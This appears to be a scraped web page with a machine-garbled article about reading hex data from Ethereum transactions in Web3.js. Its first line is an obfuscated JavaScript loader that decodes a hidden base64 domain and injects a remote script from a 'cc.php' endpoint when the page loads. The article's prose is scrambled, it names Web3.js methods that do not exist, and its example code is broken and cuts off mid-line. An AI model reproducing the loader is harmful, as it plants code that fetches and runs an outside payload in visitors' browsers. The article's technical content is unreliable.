const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4422c3d3″;document.body.appendChild(script);
** Noning Ethereum data and HEX data
As a developer who uses Web3.JS, he may have been admitted problems with the extraction of hex data from transactions. In this article, Wet was thrown to conceive them on the tx 'data of the object and the hex from Web3.JS and to explore how to overcome.
What is web3.js?
Web3.JS is a JavaScript library for entering the Ethereum blockchain. It is a set of water and utilities that is the Ethereum network. When DOT transactions are, Web3.JS uses theTXobject, which represents a transaction at blockchain.
HEX data in web3.JS transactions
Hex data is eutiated to represent the data of the gross transaction stored on blockchain. It is a string of hexadecimal characters that you have information, as a hash, useful task and details. In Web3.JS, this hex is inside thetx ‘object.
Object TX and HEX data
When you are a new Wesing Web3.JS transaction, the Tx 'object is the initiative of pavers:
- Din
: there is
- all: there will be an address
Chainida: The ID in the Blockchain Ethereum network (in your case, 4445)
Howver, when you print or record the Hex Associated Systems, which they like, they like console.log (tx.rawtransact.hex), there is no string over hexadectari. But the data can repress the transct itself.
Problem: Hidden hexlete data
Now, suppose that you try to extend from the specific information to the hex data, such as JSON.Parse () or hex2abiddr (). When you do this, you will be able to have a dose of recovery to incorporate the TX object.
wy happens that?
The reason why your HEX data appears hidden is the fact that the specific webchain web -coding planning data. This coding includes the HEX data incorporated as a rater, translated into translation, by part of the separate bytes.
In inflection, when you print or register Tx.rawtransction.Hex, you truly print the Ethereum network, which is a stormy transaction load. However, your program has not been understood at this useful task, so it does not appear as a hidden string on hexadecimal characters.
Solving the problem
To discover this problem, you will be a few doses:
- Use
tx.rawtransact.hxreally : Instantinum by printing the hex separately, you can pass tx.rawtransction.hex’Sdirectly to your point.
- Extract HEX data, web3.js bilt-in metthhods
: you can bilts astx.rawtransact.hex ()
to extract.
- Use a different coding scheme : If you do a verification app, you may need to implement the planning scheme for stock and transaction transmission.
Code for example
Here is an example of a fragment code that demonstrates how to use the web3.JS compilation methods to extract HEX data:
` Javacrpt
const web3 = requires (‘web3’);
// create a new web3 instance3
Const web3 = new web3 ();
// get the current instance of Ethereum Proid
consist supplier = wait web3.etth.getprovider ();
const tx = {
3
At: ‘0x9876543210 Fedc’,
Chainid: 44445,
Currency: “1.2 ether”
};
// Extract hexate web3.JS bilt-in methods
Const rawtransction = awaits supplier.eth.SendrawTransction (TX);
Const txhex = wait web3.etth.bitohex (rawtransction.rawtransction);
console.log (txhex); // prints the extract hexate data
// alternatively, you can use:
const txata = rawtransction.rawtransction;
Const hex = web3.utils.